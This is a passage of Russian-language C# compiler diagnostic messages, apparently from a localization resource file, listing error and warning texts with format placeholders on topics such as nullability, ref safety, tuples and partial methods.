типа "{1}" в C# {2}. Используйте версию языка {3} или более позднюю. + Переменной "{0}" присвоено значение, но оно ни разу не использовано. + Оператор "{0}" не может быть применен к "default" и операнду типа "{1}", так как это параметр типа, который не является ссылочным типом. + Аннотацию для ссылочных типов, допускающих значения NULL, следует использовать в коде только в контексте аннотаций "#nullable". + Имя элемента кортежа "{0}" допускается только в позиции {1}. + Несколько модификаторов защиты. + В комментарии XML имеется атрибут cref "{0}" с неверным синтаксисом. + Сборка анализатора ссылается на более новую версию компилятора, чем установленная сейчас. + '{0}' не поддерживается данным языком. + Комментарий XML содержит тег paramref, но параметр с таким именем не существует + Оператор await можно использовать только в методах с модификатором async. Попробуйте пометить этот метод модификатором async и изменить тип его возвращаемого значения на Task. + Невозможно использовать параметр основного конструктора "{0}" с модификаторами ref, out или in внутри элемента экземпляра + Невозможно обновить "{0}"; нет атрибута "{1}". + сдвиг вправо без знака + Невозможно указать параметр /main, если существует единица компиляции с инструкциями верхнего уровня. + Параметр основного конструктора типа, доступного только для чтения, нельзя использовать как значение ref или out (за исключением метода задания с типом, предназначенным только для инициализации, или инициализатора переменной) + Класс CallerArgumentExpressionAttribute не подействует. Он переопределяется классом CallerFilePathAttribute. + "{0}": новый защищенный элемент объявлен в запечатанном типе. + Управление не может передаваться вниз от одной метки case ("{0}") к другой. + Не удается преобразовать {0} к типу "{1}", так как он не является типом делегата. + Лямбда-выражение с телом оператора не может быть преобразовано в дерево выражения. + Метод "{0}" задает ограничение "default" для параметра типа "{1}", но соответствующий параметр типа "{2}" переопределенного или явно реализованного метода "{3}" ограничен и может представлять собой только тип ссылки или тип значения. + Модификатор "scoped" параметра не соответствует переопределенному или реализованному элементу. + Смешанные объявления и выражения в деконструировании + Компилятор Microsoft (R) Visual C# + Строка содержит пробел, отличный от пробела закрывающей строки литерала необработанной строки: {0} и {1} + Не удается преобразовать тип "{0}" в "{1}" с помощью преобразования ссылок, упаковки-преобразования, распаковки-преобразования, преобразования в оболочку или преобразования типа Null + "{0}" предназначен только для оценки и может быть изменен или удален в будущих обновлениях. + Указатель должен быть проиндексирован только по одному значению. + '{0}' имеет атрибут CollectionBuilderAttribute, но не имеет типа элемента. + Использование типа указателя функции в этом контексте не поддерживается. + Недопустимый номер предупреждения + Либо оба объявления разделяемого метода должны иметь модификатор readonly, либо ни одно из них не должно иметь модификатор readonly. + возвращаемые данные и локальные переменные типа ByRef + Применение класса CallerArgumentExpressionAttribute к параметру "{0}" не подействует, так как он ссылается сам на себя. + Нельзя передать аргумент динамического типа в параметр params "{0}" локальной функции "{1}". + Внедренный метод взаимодействия "{0}" содержит тело. + Наиболее подходящий перегруженный метод Add "{0}" для элемента инициализатора набора устарел. + динамический + Невозможно использовать локальную переменную "{0}" перед ее объявлением. Объявление данной локальной переменной скрыто в поле "{1}". + Имя элемента кортежа игнорируется, так как на другой стороне оператора == или != кортежа имя имеет другое значение или отсутствует. + оператор foreach для встроенного массива типа '{0}' не поддерживается + Элемент должен иметь значение, отличное от NULL, при выходе. + Индекс находится за пределами встроенного массива + Невозможно определить символы препроцессора или отменить их определение где-либо, кроме начала файла. + Параметры компиляции "{0}" и "{1}" невозможно использовать одновременно. + инструкции верхнего уровня + Атрибут CallerMemberNameAttribute не будет работать, так как он применяется к члену, который используется в контекстах, не допускающих дополнительные аргументы + Переполнение при выполнении операции во время компиляции в режиме проверки. + квалификатор псевдонима пространства имен + Оператор throw без аргументов не может использоваться вне предложения catch. + Недопустимый операнд для сопоставления с шаблоном. Требуется значение, но найдено "{0}". + Оператор foreach нельзя использовать с перечислителями типа "{0}" в методах с модификатором Async или Iterator, так как "{0}" является ссылочной структурой. + Параметр не читается. Возможно, вы забыли использовать его для инициализации свойства с таким же именем? + Константное значение "{0}" может привести к переполнению "{1}" во время выполнения (для переопределения используйте синтаксис "unchecked"). + Событие "{0}" никогда не используется. + За XML-комментарием не следует допустимый элемент языка + Ошибка при записи в XML-файл документации: {0} + универсальные типы + '"Интерфейс "{0}" помечен с помощью "CoClassAttribute" и не помечен с помощью "ComImportAttribute". + Невозможно использовать поля "{0}" как значение ref или out, так как это "{1}" + Использование автоматически реализованного свойства "{0}", которому, возможно, не присвоено значение + Поле "{0}" никогда не используется. + Отсутствует ссылка на эту метку. + "{0}" повторяющийся именованный аргумент атрибута + Не удается сделать ссылку на переменную типа "{0}". + Оператор await можно использовать, только если он содержится в методе или лямбда-выражении, помеченном модификатором async. + Дерево выражений не может содержать литерал кортежа. + Выполнено сравнение с той же переменной + Невозможно вызвать указатель на функцию с именованными аргументами. + Выражения, инициализирующие коллекцию и объект, не могут быть применены к выражению создания делегата + Комментарий XML имеет повторяющийся тег для "{0}". + "{0}": не разрешено пользовательское преобразование в производный тип или из производного типа. + Инициализатор объекта или коллекции неявно разыменовывает член, который может быть равен NULL. + Тип не реализует элемент интерфейса. Допустимость значения NULL ссылочных типов в интерфейсе, реализованном базовым типом, не совпадает. + "{0}" не является допустимым описателем формата. + 'await не может использоваться в выражении, содержащем условный оператор ref + Параметр "{0}" не читается. Возможно, вы забыли использовать его для инициализации свойства с таким же именем? + Элемент асинхронного итератора имеет один или несколько параметров типа "CancellationToken", но ни один из них не снабжен атрибутом "EnumeratorCancellation", поэтому параметр токена отмены из созданного "IAsyncEnumerable<>.GetAsyncEnumerator" не будет использован. + Сборка с аналогичным простым именем "{0}" уже была импортирована. Попробуйте удалить одну из ссылок (например "{1}") или подпишите их для параллельного использования. + Оператор "await" невозможно использовать в инициализаторе статической переменной скрипта. + Не удается наследовать интерфейс "{0}" с указанными параметрами типов, так как из-за этого метод "{1}" содержит перегрузки, различающиеся только параметрами ref и out. + Имя "{0}" находится вне области левой части конструкции "equals". Возможно, требуется поменять местами выражения с обеих сторон "equals". + Невозможно применить CallerFilePathAttribute, так как отсутствуют стандартные преобразования из типа "{0}" в тип "{1}". + Идентификатор "{0}", отличающийся только регистром, несовместим с CLS. + Литерал, равный NULL, не может быть преобразован в ссылочный тип, не допускающий значение NULL. + Несогласованность по доступности: доступность типа свойства "{1}" ниже доступности свойства "{0}" + "Null" не является допустимым именем параметра. Для получения доступа к приемнику метода экземпляра используйте пустую строку в качестве имени параметра. + Ошибка при открытии файла ресурсов Win32 "{0}" — "{1}" + Пустой спецификатор формата. + Допустимость значений NULL для типа возвращаемого значения не соответствует переопределенному элементу (возможно, из-за атрибутов допустимости значений NULL). + Битовая операция или оператор, использовавшийся в операнде с расширением знака + Результат значения всегда одинаковый, так как значение этого типа никогда не равно NULL + Сбой при доступе к прозрачному члену идентификатора для поля "{0}" из "{1}". Запрашиваемые данные реализуют шаблон запроса? + ограничения универсального типа для делегата + Допустимость значений NULL для ссылочных типов в типе параметра не соответствует реализованному элементу (возможно, из-за атрибутов допустимости значений NULL). + Невозможно использовать числовую константу или реляционный шаблон для "{0}", поскольку он наследует от "INumberBase<T>" или расширяет его. Рассмотрите возможность использовать шаблон типа, чтобы указать конкретный числовой тип. + Невозможно применить CallerLineNumberAttribute, так как отсутствуют стандартные преобразования из типа "{0}" в тип "{1}". + '"внешний псевдоним" недопустим в этом контексте. + Неправильный формат списка обязательных элементов для базового типа "{0}", его не удается интерпретировать. Чтобы использовать этот конструктор, примените атрибут "SetsRequiredMembers". + Нельзя использовать объект "this" в конструкторе, пока не будут назначены все его поля. Попробуйте обновить языковую версию, чтобы автоматически применить значения по умолчанию к неназначенным полям. + Либо оба значения ссылочного оператора должны быть ссылочными, либо ни одно из них не должно быть ссылочным + Использование new() в этом контексте не допускается. + Не удается внедрить тип "{0}", так как он является вложенным. Попробуйте задать свойству "Внедрить типы взаимодействия" значение False. + Невозможно задать аргумент CLSCompliant в модуле, который отличается от атрибута CLSCompliant в сборке. + Обнуляемость ссылочных типов в возвращаемом типе не соответствует перехватываемому методу. + Необходимо задать обязательный элемент "{0}" в инициализаторе объектов или в конструкторе атрибутов. + Встроенный индексатор массива не будет использоваться для выражения доступа к элементу. + {0}. См. также ошибку CS{1}. + Недопустимый базовый тип. + Обязательный элемент "{0}" или его метод задания не может быть менее видимым, чем содержащий тип "{1}". + Имя типа "{0}" не существует в типе "{1}". + Не обнаружено элементов, соответствующих тегу include. + Функция "{0}" является экспериментальной и не поддерживается; используйте "/features:{1}" для включения. + Автоматически реализуемое свойство прочитывается до явного назначения, что приводит к предшествующему неявному назначению "default". + Тип переопределяет Object.Equals(object o), но не переопределяет Object.GetHashCode() + async streams + Значение "goto case" не может быть неявно преобразовано в тип switch + Указан параметр компилятора /doc, но одна или несколько конструкций не содержат комментарии. + "{0}": невозможно переопределить наследуемый член "{1}", так как он не помечен как virtual, abstract или override. + Повторяющееся имя параметра "{0}". + "{0}": модификаторы доступа для статических конструкторов не разрешены. + Не используйте "System.Runtime.CompilerServices.RequiredMemberAttribute". Вместо этого используйте ключевое слово "required" для обязательных полей и свойств. + Неожиданное использование несвязанного универсального имени. + Модификатор "ref" для аргумента, соответствующего параметру "in", эквивалентен in. Попробуйте использовать "in". + Метод доступа "{0}" не может реализовать член интерфейса "{1}" для типа "{2}". Используйте явную реализацию интерфейса. + Разделяемый метод должен быть либо оба раза объявлен как метод расширения, либо нигде не объявлен как метод расширения. + Требуется catch или finally. + В выражении new после типа требуется список аргументов либо "()", []" или "{}". + Переменная объявлена, но не используется + "{0}" определен в модуле с нераспознанной версией RefSafetyRulesAttribute. Ожидается "11". + Обнаружен признак конца файла, требуется "*/". + Не удается создать ссылку на компиляцию типа "{0}" из компиляции {1}. + Для параметра "ref readonly" указано значение по умолчанию, но "ref readonly" следует использовать только для ссылок. Рассмотрите возможность объявления параметра как in. + "{0}" скрывает наследуемый член "{1}". Чтобы текущий член переопределял эту реализацию, добавьте ключевое слово override. В противном случае добавьте ключевое слово new. + "{0}" не реализует член интерфейса "{1}". '{2}" не может реализовать член интерфейса, потому что он не является открытым. + Невозможно использовать локальный для файла тип "{0}" в подписи элемента нелокального типа "{1}". + Невозможно использовать интерфейс "{0}" в качестве аргумента типа. У статического члена "{1}" нет наиболее конкретной реализации в интерфейсе. + Требуется {0} SemanticModel. + Условное выражение ref + оператор по умолчанию + Значение типа void нельзя назначить. + литерал по умолчанию + "{0}" не реализует элемент интерфейса "{1}". "{2}" не может реализовывать "{1}". + Выражение типа "{0}" не может быть обработано шаблоном типа "{1}". + Нельзя использовать объект "this", пока не будут назначены все его поля. Попробуйте обновить до языковой версии "{0}", чтобы автоматически применить значения по умолчанию к неназначенным полям. + Заданы несовместимые параметры: файл ресурсов Win32; значок Win32. + Атрибут пропускается при указании общедоступного подписывания. + Имя типа "{0}" зарезервировано для использования компилятором. + Допустимость значения NULL ссылочных типов в явном указателе интерфейсов не соответствует интерфейсу, реализованному типом. + Точки входа приложения не могут иметь атрибут "UnmanagedCallersOnly". + Имя "{0}" находится вне области правой части конструкции "equals". Возможно, требуется поменять местами выражения с обеих сторон "equals". + "{0}": невозможно изменить имена элементов кортежа при переопределении наследуемого элемента "{1}" + Общая длина пользовательских строк, используемых программой, превышает допустимый предел. Попробуйте сократить использование строковых литералов. + Требуется "{" + Суффикс l легко спутать с цифрой 1 + Непредвиденный символ в этом месте. + Ожидался ">" или " />" для закрытия тега "{0}". + Выданное значение может быть равно NULL. + Параметр типа не имеет соответствующий тег параметра типа в комментарии XML (в отличие от остальных параметров) + действие warning с enable + Определение псевдонима с именем "global" не рекомендуется из-за того, что "global::" всегда указывает на глобальное пространство имен и не является псевдонимом. + Применение атрибута CallerMemberNameAttribute к параметру "{0}" ни к чему не приводит, поскольку атрибут применяется к члену, который используется в контекстах, запрещающих необязательные аргументы. + Параметр конструктора атрибута "{0}" имеет тип "{1}", который является недопустимым типом параметра атрибута. + Недопустимый модификатор вариантности. В качестве варианта допускается указывать только параметры типа интерфейса и делегата. + Параметр должен иметь значение, отличное от NULL, при выходе в определенном состоянии. + Реляционные шаблоны не могут использоваться для значений типа "{0}". + Наследование от записи с запечатанным Object. ToString не поддерживается в C# {0}. Используйте версию языка "{1}" или более позднюю. + Перегруженный метод, отличающийся только в параметре ref или out или в ранге массива, несовместим с CLS + "{0}": изменяемое поле не может быть типа "{1}" + В выражении stackalloc после типа требуется []. + Недопустимый оператор объявления элемента анонимного типа. Элементы анонимного типа должны быть объявлены назначением элемента, простым именем или доступом к элементу. + Кортеж не может содержать значение типа void. + Невозможно указать атрибут Out в параметре ref, не указав также атрибут In. + Исходный файл "{0}" задан несколько раз. + Членам свойства "{0}" типа "{1}" не могут быть присвоены значения с помощью инициализатора объекта, так как они имеют тип значения + collection expressions + "{0}": структуры не могут вызывать конструкторы базового класса. + Тип не реализует шаблон коллекции: члены неоднозначны + stackalloc не может использоваться в блоке catch или в блоке finally. + Ожидался литерал строки, однако знак открывающих кавычек обнаружен не был. + "{0}" не может одновременно быть внешним и объявлять тело. + <выражения для выбора вариантов> + Недопустимое выражение препроцессора. + Ключевое слово "this" неприменимо в текущем контексте. + тип возвращаемого значения лямбда + SyntaxTree получено из директивы #load и не может быть удалено или перемещено напрямую. + Нераспознанная директива #pragma + Анонимный тип не может иметь несколько свойств с одинаковыми именами. + Параметр типа "{1}" имеет ограничение "unmanaged", поэтому "{1}" не может использоваться в качестве ограничения для "{0}". + Имя "{0}" превышает максимальную длину, допустимую в метаданных. + Невозможно использовать директиву "using static" для объявления псевдонима + Проведено присвоение той же переменной; действительно выполнить такое назначение, а не иное? + Событие не используется + Перехватчик невозможно объявить в глобальном пространстве имен. + Асинхронный оператор foreach не работает с переменными типа "{0}", так как "{0}" не содержит подходящее открытое определение экземпляра или расширения для "{1}". + Событие "{0}" может находиться только в левой части операции += или -= + Значение параметра по умолчанию не совпадает с типом целевого делегата. + Недопустимый тег Include + указатели на функцию + Метод передачи типа для типа "{0}" в сборке "{1}" приводит к циклу. + Тип "{0}" уже содержит определение для "{1}". + Дерево выражения не может содержать вызов, для которого используются необязательные аргументы. + Оператор "{0}" невозможно применить к операнду "{1}". + Не удалось открыть файл метаданных "{0}" — {1} + Операция сравнения со значением Null типа "{0}" всегда возвращает False. + модуль как спецификатор конечного объекта атрибута + рекурсивные шаблоны + Это предупреждение может быть создано, если два метода интерфейса различаются только по тому, помечен ли конкретный параметр как ref или как out. Рекомендуется изменить код, чтобы избежать этого предупреждения, так как неочевидно, какой метод вызывается во время выполнения, и вызов нужного метода не гарантируется. + +Хотя C# разделяет параметры out и ref, спецификация CLR не видит отличий и выбирает случайный метод, реализующий интерфейс. + +Предоставьте компилятору способ различения методов. Например, можно дать им разные имена или указать дополнительный параметр в одном из них. + Нельзя использовать #r после первой лексемы в файле. + "{0}" не реализует элемент экземпляра интерфейса "{1}". "{2}" не может реализовать элемент интерфейса, потому что он является статическим. + "{0}" не реализует элемент интерфейса "{1}". "{2}" не может неявно реализовать непубличный элемент в C# {3}. Используйте язык версии "{4}" или более поздней. + Это возвращает параметр по ссылке "{0}", но это не является параметром ref + Невозможно инициализировать значением переменную по ссылке + именованный аргумент + Тип возвращаемого значения может иметь только один модификатор "{0}". + Предопределенный тип "{0}" определен в нескольких сборках в глобальном псевдониме; используется описание из "{1}" + Дерево лямбда-выражения не может содержать вызов метода, свойства или индексатора, который возвращает данные по ссылке + автоматически применять значения по умолчанию к полям структуры + Разделяемый метод не может иметь модификатор "abstract". + "{0}" уже указан в списке интерфейсов типа "{1}"с другой допустимостью значений NULL ссылочных типов. + Отсутствует знак равенства между атрибутом и его значением. + Не удается выполнить обновление, так как изменен выводимый тип делегата. + Невозможно деконструировать кортеж элементов "{0}" на переменные "{1}". + "{0}" не реализует наследуемый абстрактный член "{1}". + В одном каталоге ("{0}") не может находиться несколько файлов конфигурации анализатора. + Функция языка "Встроенные массивы" не поддерживается для встроенных типов массивов с полем элемента, которое является полем "ref" или имеет недопустимый тип в качестве аргумента типа. + "{0}" не может быть запечатанным, поскольку содержащая его запись не является запечатанной. + Не удается создать экземпляр переменной типа "{0}", так как у нее отсутствуют ограничения new(). + Не удается получить тип "{0}", так как инициализатор прямо или косвенно ссылается на определение. + "{0}": целевая среда выполнения не поддерживает ковариантные типы в переопределениях. Для сопоставления переопределенного элемента "{1}" необходимо использовать тип "{2}". + #load допускается только в скриптах + Перегруженный метод "{0}", отличающий только типами массивов без имен, несовместим с CLS. + Модификатор типа ссылки параметра не соответствует соответствующему параметру в переопределеемом или реализованный элементе. + Это присваивает по ссылке значение, которое имеет более широкую область выхода, чем цель, что позволяет присваивать через цель значения с более узкими областями выхода. + Подобное полю событие "{0}" не может быть readonly. + Аргументом атрибута должно быть константное выражение, выражение typeof или выражение создания массива того же типа, что и параметр атрибута. + структуры только для чтения + <выражение throw> + разделяемые типы + Указанное выражение никогда не соответствует предоставленному шаблону. + Универсальный параметр является определением, а ожидается, что он будет ссылкой {0}. + An expression tree may not contain a collection expression. + Возвращаемое значение должно быть отлично от NULL, так как параметр "{0}" имеет значение, отличное от NULL. + Синтаксис "var (...)" как lvalue зарезервирован. + "{0}" не переопределяет ожидаемый метод из "{1}". + Элемент структуры возвращает "этот" или другие элементы экземпляра по ссылке + Параметр /noconfig пропущен, т. к. он задан в файле ответов + "{0}" не реализует элемент статический элемент интерфейса "{1}". "{2}" не может реализовать этот элемент интерфейса, поскольку он является статическим. + "{0}": свойство или индексатор не могут иметь тип void. + "{0}": невозможно переопределить наследуемый член "{1}", так как он запечатан. + Итераторы не могут иметь параметры ref, in или out + У индексированного свойства "{0}" все аргументы должны быть необязательными + Поле '{0}' должно быть полностью назначенным перед возвратом контроля вызывающему элементу. Попробуйте обновить поле до языковой версии "{1}", чтобы автоматически применить значение по умолчанию. + Оба объявления разделяемого метода должны иметь одинаковый тип возвращаемого значения. + Несовместимое использование лямбда-параметра; типы параметров должны быть либо все явными, либо все неявными. + Не удалось загрузить сборку анализатора + Невозможно определить тип неявно типизированной отмены. + Тип "{0}" в списке интерфейсов не является интерфейсом. + Сигнатуры методов перехвата и перехватчика не совпадают. + Непредвиденное ключевое слово \"record\". Возможно, вы имели в виду \"record struct\" или \"record class\"? + элемент + Функция "проверка значений NULL параметров" не поддерживается. + Параметр __arglist должен быть последним в списке параметров. + {0} не является допустимой операцией составного назначения C# + Дерево выражений не может содержать оператор соответствия шаблону is. + Невозможно использовать конструктор атрибута "{0}", так как он содержит параметры "in" или "ref readonly". + переменные итерации foreach для ссылки + Неоднозначные пользовательские преобразования "{0}" и "{1}" при преобразовании из "{2}" в "{3}". + Не удается внедрить тип взаимодействия "{0}". Используйте вместо него доступный интерфейс. + Выражение должно иметь тип "{0}", так как ему назначается значение по ссылке + Сборка не содержит анализаторов + Нет перегруженного метода для "{0}", который соответствует указателю на функцию "{1}". + Индексация массива с отрицательным индексом + Свойства, возвращающие данные по ссылке, не могут иметь методы доступа set + Ошибка в синтаксисе командной строки: Отсутствует ":<номер>" для параметра "{0}". + Ссылка на тип "{0}" требует его определения в "{1}", но его не удалось найти. + Возможно, неправильное назначение локальной переменной "{0}", которая является аргументом оператора using или lock. Вызов Dispose или разблокирование произойдет на ее оригинальном значении. + Кортеж со следующим числом элементов: {0} невозможно преобразовать в тип "{1}". + Символ "<" нельзя использовать в значении атрибута. + Это принимает адрес, получает размер или объявляет указатель на управляемый тип ('{0}') + Конструктор копий в записи должен вызвать конструктор копий базового класса или конструктор объекта без параметров, если запись наследуется от объекта. + Неверный синтаксис #pragma checksum; должно быть #pragma checksum "имя файла" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + инвариантно + "{0}" предназначен только для оценки и может быть изменен или удален в будущих обновлениях. Чтобы продолжить, скройте эту диагностику. + Позиция не находится в пределах синтаксического дерева с полным диапазоном {0}. + Не удается определить новый метод расширения, так как не найден требуемый компилятором тип "{0}". Возможно, отсутствует ссылка на System.Core.dll + Допустимость значения NULL для ссылочных типов в типе возвращаемого значения не совпадает с объявлением разделяемого метода. + Для использования в качестве логического оператора краткой записи пользовательский логический оператор ("{0}") должен иметь такой же возвращаемый тип и типы параметров. + Сравнение выполнено с той же переменной. Действительно следует выполнять такое сравнение? + новые линии в интерполяции + Модификатор "scoped" нельзя использовать с отменой. + Идентификатор, отличающийся только регистром, несовместим с CLS + У параметра {0} есть модификатор params в лямбде, но не в типе целевого делегата. + Недопустимый реальный литерал. + Получить адрес фиксированного выражения с помощью оператора fixed невозможно. + "{0}" не имеет доступных конструкторов, которые используют совместимые с CLS типы. + Ошибка при вычислении выражения десятичной константы. + Параметр "{0}" должен иметь значение, отличное от NULL, при выходе с "{1}". + шаблон списка + Повторяющаяся метка "{0}". + Полю, которое доступно только для чтения, не может быть присвоено значение (значение может быть присвоено только в конструкторе типа, в методе задания значения, вызываемом только при инициализации типа, в котором определено поле, либо в инициализаторе переменной) + {0} "{1}", не допускающий значения NULL, должен содержать значение, отличное от NULL, при выходе из конструктора. Возможно, стоит объявить {0} как допускающий значения NULL. + Псевдоним using "{0}" ранее встречался в этом пространстве имен. + Аргумент {0} должен передаваться с ключевым словом "{1}". + Невозможно использовать первичный параметр конструктора типа "{0}" внутри элемента экземпляра + Применение класса CallerArgumentExpressionAttribute к параметру "{0}" не подействует, он будет переопределен классом CallerMemberNameAttribute. + Допустимость значения NULL для ссылочных типов в типе возвращаемого значения не совпадает с объявлением разделяемого метода. + Недопустимое значение именованного аргумента атрибута "{0}". + Повторяющееся ограничение "{0}" для параметра типа "{1}". + Членам поля только для чтения "{0}" типа "{1}" не могут быть присвоены значения с помощью инициализатора объекта, так как они имеют тип значения. + Подобные полям события не допускаются в структурах только для чтения. + Имя элемента кортежа "{0}" игнорируется, так как на другой стороне оператора == или != кортежа имя имеет другое значение или отсутствует. + Модификатор "async" можно использовать только в методах, имеющих тело. + Выражение switch не обрабатывает некоторые входные данные NULL. + Разделяемые объявления "{0}" не должны указывать различные базовые классы. + "{0}" недоступен из-за его уровня защиты. + Оператор подавления недопустим в данном контексте. + Наследуемые члены "{0}" и "{1}" имеют одинаковую сигнатуру в типе "{2}", поэтому их нельзя переопределить. + Не удается выполнить требуемую для доступа к индексатору динамическую диспетчеризацию, поскольку он является частью базового выражения доступа. Попробуйте привести типы динамических аргументов или исключить доступ к базовым членам. + "{0}" не имеет применимого метода с именем "{1}", но, по-видимому, имеет метод расширения с таким именем. Методы расширения диспетчеризовать динамически. Попробуйте привести динамические аргументы или вызвать метод расширения без использования синтаксиса метода расширения. + "{0}": абстрактные свойства не могут иметь закрытых методов доступа. + 'Выражение, заданное выражению is не может иметь указанный тип + Встроенный индексатор массива не будет использоваться для выражения доступа к элементу. + Целевая среда выполнения не поддерживает статические абстрактные элементы в интерфейсах. + Указанная строка версии "{0}" не соответствует требуемому формату: основной номер.дополнительный номер.сборка.редакция (без подстановочных знаков) + Не используйте атрибут "System.Runtime.CompilerServices.FixedBuffer" для свойства + Ошибка при открытии файла манифеста Win32 {0} — {1} + UnscopedRefAttribute может применяться только к методам и свойствам экземпляров структуры и не может применяться к конструкторам или элементам только для инициализации. + "{0}" — новый виртуальный элемент в запечатанном типе "{1}". + Допустимость значения NULL для ссылочных типов в типе параметра не совпадает с частичным объявлением метода. + Дерево выражения не может содержать индексированное свойство. + Недопустимый синтаксис контрольной суммы #pragma + Литерал необработанной строки не начинается с достаточного количества символов кавычек, чтобы разрешить использовать такое же количество последовательных символов кавычек в качестве содержимого. + LookupOptions имеет недопустимую комбинацию параметров. + Требуется инициализатор массива длиной "{0}". + Поле, доступное только для чтения, невозможно вернуть по ссылке, доступной для записи + расширяемый оператор fixed + Дерево выражений не может содержать выражение индекса, отсчитываемого с конца ("^"). + встроенные массивы + Выражение switch или метка case должны быть логическим значением, символом, строкой, целым числом, перечислением или соответствующим типом, принимающим значение NULL, в C# 6 и более ранних версиях. + Чтобы выполнить минимальную квалификацию типа, необходимо указать расположение. + Добавленные модули должны быть помечены атрибутом CLSCompliant, чтобы соответствовать этой сборке. + Тип "{2}" должен быть ссылочным типом для его использования в качестве параметра "{1}" в универсальном типе или методе "{0}". + Отправка может включать только код скрипта. + Запись определяет "Equals", но не "GetHashCode". + "{0}": переопределение невозможно, так как "{1}" не имеет функции доступа get, доступной для переопределения. + Предыдущее выражение catch уже получило все исключения + индексирование перемещаемых буферов фиксированного размера + "{0}" является двоичным файлом, а не текстовым. + Ориентированные на поле атрибуты для автосвойств не поддерживаются в этой версии языка. + Выражение оператора switch должно быть значением; найдено "{0}". + Невозможно присвоить "{0}" свойству анонимного типа. + Использование автоматически реализованного свойства, которому, возможно, не присвоено значение + Не удается открыть "{0}" для записи — "{1}". + Явная реализация определяемого пользователем оператора "{0}" должна быть объявлена статической + Возможно, ошибочный пустой оператор + Невозможно создать делегат на основе метода "{0}, так как он является разделяемым методом без реализующего объявления. + Не следует переопределять object.Finalize. Укажите деструктор. + конструктор и деструктор тела выражения + реляционный шаблон + Допустимость значения NULL для ссылочных типов в возвращаемом типе не совпадает с переопределенным членом. + Ожидается имя файла в кавычках, однострочный комментарий или признак конца строки. + Элемент "{0}" должен иметь значение, отличное от NULL, при выходе с "{1}". + Комментарий XML для "{0}" имеет атрибут cref, который ссылается на параметр типа. + Делегат "{0}" не имеет допустимого конструктора. + параметры ref, доступные только для чтения + Деконструирование должно иметь не менее двух переменных. + Методы расширения "{0}", определенные на типе значения "{1}", не могут применяться для создания делегатов. + Несогласованность по доступности: доступность базового класса "{1}" ниже доступности класса "{0}" + Оператор goto case допустим только внутри оператора выбора. + Это возвращает по ссылке элемент параметра "{0}" через параметр ref, но его можно безопасно вернуть только в операторе return + Класс System.Object не может иметь базовый класс или реализовывать интерфейс. + Использование локальной переменной, которой не присвоено значение + Статическая анонимная функция не может содержать ссылку на "this" или "base". + "{0}": невозможно изменить модификаторы доступа при переопределении "{1}", унаследованном из "{2}". + Индексатор не может иметь тип void. + Несогласованность по доступности: доступность типа параметра "{1}" ниже доступности оператора "{0}" + "{0}" и переопределяемый элемент "{1}" должны соответствовать по методу доступа, вызываемому только во время инициализации. + Требуется указать значение поля const. + Не удается восстановить предупреждение "CS{0}", так как оно было глобально отключено. + Введение метода Finalize может помешать вызову деструктора. Предполагается объявить деструктор? + Элемент "{0}" возвращается по ссылке, но инициализирован значением, которое не может быть возвращено по ссылке + Допустимость значений NULL для типа возвращаемого значения не соответствует переопределенному элементу (возможно, из-за атрибутов допустимости значений NULL). + Типы и псевдонимы не могут иметь имя "record" + Тело "{0}" не может быть блоком итератора, так как "{0}" возвращает данные по ссылке + Неверное число индексов в []; требуется {0}. + Была указана отложенная подпись, для которой требуется открытый ключ, но открытый ключ не был указан + Метод, помеченный [DoesNotReturn], не должен возвращать значение. + Недопустимый термин "{0}" в выражении + Модификатор доступа метода доступа "{0}" должен быть более ограничивающим, чем у свойства или индексатора "{1}". + CallerFilePathAttribute можно применять только к параметрам со значениями по умолчанию. + Отсутствует спецификация файла для параметра "{0}" + Объявления разделяемого метода должны иметь одинаковые типы возвращаемого значения ref. + Требуется имя файла в кавычках + Повторяющееся определенное пользователем преобразование в типе "{0}". + Требуется тип byte, sbyte, short, ushort, int, uint, long или ulong. + Контроль возвращается вызывающему элементу до явного назначения автоматически реализуемого свойства "{0}", что приводит к предшествующему неявному назначению "default" + Неожиданное использование универсального имени. + "{0}" не требуется атрибут CLSCompliant, так как сборка не имеет атрибута CLSCompliant. + Сигнатура управляемого класса-оболочки coclass "{0}" для интерфейса "{1}" не является допустимой сигнатурой имени класса. + Тип "{1}" существует как в "{0}", так и в "{2}". + Тип "{0}" нельзя использовать в этом контексте, так как он не может быть представлен в метаданных. + Возможно, аргумент-ссылка, допускающий значение NULL, для параметра "{0}" в "{1}". + Тип конфликтует с импортированным типом + Ожидается значение константы типа "{0}" + Не удается создать сконструированный универсальный тип из неуниверсального типа. + Символ "{0}" можно экранировать только двойными символами "{0}{0}" в интерполированной строке. + Недопустимый элемент включения для XML + Возможно, возврат ссылки, допускающей значение NULL. + Это предупреждение возникает, когда создается класс с методом, подпись которого является открытым, виртуальным, недействительным методом Finalize. + +Если такой класс используется в качестве базового, а производный класс определяет деструктор, то деструктор переопределит метод Finalize базового класса, а не метод Finalize производного класса. + "Недопустимый описатель ранга: ожидается "]" + инициализатор stackalloc + Не используйте атрибут "System.Runtime.CompilerServices.FixedBuffer". Вместо него следует применять модификатор "fixed". + Использование NULL в этом контексте не допускается. + Это возвращает по ссылке элемент параметра через параметр ref, но его можно безопасно вернуть только в операторе return + Элемент записи "{0}" должен быть закрытым. + глобальная директива using + Квалификатор псевдонима пространства имен "::" всегда разрешается в тип или пространство имен, что в данном случае недопустимо. Рассмотрите возможность использования ".". + Операторы преобразования, равенства или неравенства, объявленные в интерфейсах, должны быть абстрактными или виртуальными + Параметр типа "{0}" не может использоваться с оператором "as", так как он не имеет ни ограничений типа класса, ни ограничения "class". + Локальный для файла тип "{0}" должен быть объявлен в файле с уникальным путем. Путь "{1}" используется в нескольких файлах. + Ключевое слово "base" неприменимо в статическом методе. + Экспериментальная функция "перехватчики" не включена в этом пространстве имен. Добавьте "{0}" в свой проект. + Не удается инициализировать член "{0}". Это не поле или свойство. + Неоднозначность между "{0}" и "{1}" + Локальная функция объявлена, но не используется + Ошибка в синтаксисе командной строки: Отсутствует Guid для параметра "{1}". + Невозможно использовать "{0}" как тип {1} для метода с атрибутом "UnmanagedCallersOnly". + Сборка, на которую дана ссылка "{0}", направлена на другой процессор. + Не удается присвоить {0} неявно типизированной переменной. + Произошла ошибка при записи выходного файла: {0}. + "{0}": статический конструктор не может иметь явный вызов конструктора "this" или "base". + Переменная окружения LIB + Метод инициализатора модуля "{0}" должен быть доступен на уровне модуля. + "{0}" не может реализовать "{1}", так как "{2}" является событием среды выполнения Windows и "{3}" является регулярным событием .NET. + "{0}" является устаревшим. + "{0}" является типом "{1}". Тип, заданный в объявлении константы, должен быть sbyte, byte, short, ushort, int, uint, long, ulong, 